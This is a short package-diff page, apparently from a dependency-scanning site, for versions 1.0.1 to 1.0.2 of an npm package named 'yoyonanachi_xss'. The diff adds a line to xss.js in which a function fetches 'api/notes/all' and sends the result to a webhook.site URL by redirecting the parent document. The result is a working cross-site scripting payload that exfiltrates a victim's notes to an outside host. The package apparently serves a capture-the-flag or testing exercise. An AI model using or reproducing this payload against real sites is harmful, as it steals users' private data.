yoyonanachi_xss 1.0.1 → 1.0.2
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +1 -1
- package/xss.js +1 -1
package/package.json
CHANGED
package/xss.js
CHANGED
@@ -1,3 +1,3 @@
|
|
1
1
|
function xss(){
|
2
|
-
fetch(`api/notes/all`).then(res => res.json()).then(data =>
|
2
|
+
fetch(`api/notes/all`).then(res => res.json()).then(data => parent.document.location=`https://webhook.site/5f10e934-1859-4cb9-bd9f-842933dd302d?`+JSON.stringify(data));
|
3
3
|
}
|